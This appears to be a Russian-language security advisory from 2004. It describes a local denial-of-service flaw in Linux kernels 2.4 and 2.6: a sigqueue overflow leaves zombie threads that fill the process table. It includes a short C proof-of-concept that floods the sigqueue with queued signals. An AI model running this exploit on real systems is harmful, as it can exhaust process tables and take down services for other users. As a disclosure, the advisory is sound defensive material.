| Дата публикации: | 15.04.2004 |
| Дата изменения: | 17.10.2006 |
| Всего просмотров: | 1390 |
| Опасность: | Низкая |
| Наличие исправления: | |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | |
| Воздействие: | |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | |
| Уязвимые версии: Linux Kernel 2.4, 2.6
Описание: Уязвимость обнаружена в Linux ядре в механизме работы нитей (linuxthreads). Локальный пользователь может вызвать отказ в обслуживании. При завершении одной из нитей другая нить того же процесса получает сигнал 33 (SIGRT_1), что свидетельствует о завершении соседней нити при этом завершившаяся нить находится в статусе "zombie". В случае генерации сигнала, соответствующий код ядра размещается в объекте, который называется "struct sigqueue", который держит информацию о сигнале до момента доставки другой нити. Однако в этой структуре может быть одновременно размещено ограниченное количество информации. Для сигналов с идентификаторами меньше 32 в коде ядра есть механизм, позволяющий доставить сигнал независимо от состояния объекта "struct sigqueue". В случае же описываемого сигнала 33 в случае невозможности помещения информации в "struct sigqueue" просто возвращается значение -EAGAIN. В результате процесс не будет оповещён о завершении нити и закончившаяся нить останется в состоянии "zombie". Для long-living процессов, порождающих много short-living нитей (например, mysqld), переполнение таблицы процессов происходит за несколько минут. В результате возникает типичная ситуация DoS. Автором написан исходный код эксплоита. В ядрах 2.6, использующих NPTL, механизм оповещения процессов несколько другой, однако и там существует возможность DoS. Пример/Эксплоит:
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
sigset_t set;
int i;
pid_t pid;
sigemptyset(&set);
sigaddset(&set, 40);
sigprocmask(SIG_BLOCK, &set, 0);
pid = getpid();
for (i = 0; i < 1024; i++)
kill(pid, 40);
while (1)
sleep(1);
}
URL производителя: http://www.Kernel.org Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время. |
|
| Ссылки: | Possible DoS on Linux kernel 2.4 and 2.6 using sigqueue overflow. |